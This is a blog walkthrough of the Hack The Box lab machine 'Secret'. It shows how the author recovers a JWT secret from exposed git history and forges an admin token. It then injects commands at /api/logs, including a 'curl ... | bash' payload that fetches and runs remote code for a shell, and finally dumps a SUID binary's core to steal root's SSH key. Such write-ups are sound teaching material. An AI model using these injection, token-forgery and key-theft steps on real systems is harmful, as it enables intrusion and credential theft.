Secret — Hackthebox Walkthrough

This was far most on of the coolest easy boxes I encountered in Hackthebox. This had a really nice and unique attack path which I loved.


Just like always, I started with nmap.

22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http syn-ack Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Right off the bat I saw the port 80 was. So looking at the site I saw it was some kind of a documentation. I saw that the source code was available.

So I downloaded the it and extracted it. And it was a node app. Looking at the source code of the files, I saw something interesting in the /local-web/routes/private.js file.

I noticed that this is passing direct input into exec(). So if I can make a request to the /api/logs/ endpoint, with the “file” as an parameter, I could do Command Injection. But there was a problem.

I saw that only the “theadmin” user can make requests to this endpoint. So I knew I had to somehow login as that user.

Keeping these on mind, I moved on to poke around the site. And I saw that it provides the exact steps I needed.

So I followed these steps and registered a new user. I used curl for this, but if you prefer you can user postman as well. But I am a nerd (😅), I like to stick with the Command line.

curl -X POST 'http://secret.htb:3000/api/user/register' -d '{"name":"kavishka","email":"", "password":"kavi123"}' -H 'Content-Type: application/json'

Just like the Docs said, I got a success message. Then I logged in with these credentials. And this gave me a JWT token.

So I tired decoding this to see what information I could find. And used for that.

Looking at the results, I saw my “name” and the “email” is in the payload. Reminding my main goal, I knew I had to somehow make a valid JWT token for the “theadmin” user to do the Command Injection.

But for that I need the secret key to sign the signature I create. So I took a step back and went on this source code review again and I came across with /local-web/routes/verifytoken.js.

I saw that the TOKEN_SECRET is saved in a environment variable. And also, I saw that there was a file named .env in the /local-web directory. And it had the TOKEN_SECRET set to “secret”.

I was happy that I found the key. But when I created the JWT token with this, the token didn’t work. So I had to put my smile back in my pocket.

Finally, I realized that this was a Git repository and the .git directory was exposed.

So I though maybe I could get something interesting from a old commits. So I used GitTools which is an automated tool recover Git repositories.

/opt/GitTools/Extractor/ . extracted

And I saw that this extract the .env file as well. And looked at the first commit there, I was the real JWT key in the .env file.

With this secret I created a new JWT token with pyjwt python module.

I filled the needed information with dummy values and changed to name to “theadmin”.

Then with this JWT token, I tried to make a request to the /api/logs directory to see if it’s possible. Again I referenced to the docs the site provided and added the token as a Header.

curl -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTdlYzAwNDNjNmFhNjA0NTcyNzMyODgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGFzQGFzZGFzZC5jb20iLCJpYXQiOjE2MzU2OTY2Njd9.83cTKXTwV09clPhC6qI6BkJyz4R_p5-xjcFJ3I2ui6E' 'http://secret.htb:3000/api/logs'

And it worked. Finally, I tried to do the Command Injection according to how I saw on the source code. I added the “file” parameter with a file that exists(.env) and then a ; and my command.

curl -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTdlYzAwNDNjNmFhNjA0NTcyNzMyODgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGFzQGFzZGFzZC5jb20iLCJpYXQiOjE2MzU2OTY2Njd9.83cTKXTwV09clPhC6qI6BkJyz4R_p5-xjcFJ3I2ui6E' 'http://secret.htb:3000/api/logs?file=.env;id'

And I got Command Injection as expected. Then I used my usual command to get a shell.

curl -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTdlYzAwNDNjNmFhNjA0NTcyNzMyODgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGFzQGFzZGFzZC5jb20iLCJpYXQiOjE2MzU2OTY2Njd9.83cTKXTwV09clPhC6qI6BkJyz4R_p5-xjcFJ3I2ui6E' 'http://secret.htb:3000/api/logs?file=.env;curl+|bash'

One thing to note here is that I have replaced the space character with a + character.


Before doing anything, I added my SSH public key to the authorized_keys files of the dasith user and sshed in.

I started off with linpeas. I found an unusual SUID binary in /opt/count. I also found the source code to the binary.

Before going through the code, I ran the binary to see what it does. It seemed to count the number of characters of a file we specify. So I tried specifying the /root/root.txt file to see if that works.

I was able to see that the root.txt is 33 characters long. Looking at the source code, I saw a comment in the main function saying “Enabling coredump generation”. This was a little wired.

I thought may be I can let the binary read a file’s content, let it make a Coredump and then read the content of the file from the it. But the Coredump file created (valgrind.log) didn’t contain the file’s content.

The next big thing I noticed was, in the filecount() function, when the file is opened to count the number of characters, it’s never closed.

So I thought may be if I could make the binary create a Coredump while it still runs, I would be able to see the file’s content. I googled around a little bit and found out that I can make a process crash and create a Coredump by sending it a signal

With this in mind, first, I ran the script the and specified /root/.ssh/id_rsa as the file. And then I pressed “y” to save the results. Then on a another SSH session, I got the PID of this process which was running this binary.

ps aux|grep count

Then I force-killed it using kill with -SIGBUS so that it would make a coredump.

kill -SIGBUS <PID>

Generally, what this does is it will send the “SIGBUS” signal to the process saying there is a BUS error so that the process can’t continue. (You can get the list of such signals with kill -l )

Because of this, the core is dumped and a crash file is created at /var/crash.

But unlike I expected, I didn’t see the contents of the id_rsa file. So I had to do more research. Form here I found out that I have to unpack the crash file in order to get the Coredump.

Following the steps mentioned, I used apport-unpack tool to unpack the crash file and looked to see if I have anything in the Coredump file generated.

apport-unpack _opt_count.1000.crash t
cd t
cat CoreDump

And there was the SSH private key. So I copied this to my box, and SSHed in as root. (Make sure to change the permissions of the private key file to 600 with chmod 0600 id_rsa )


“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”

Email —
Instagram —

Happy Hacking !!! 😄



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store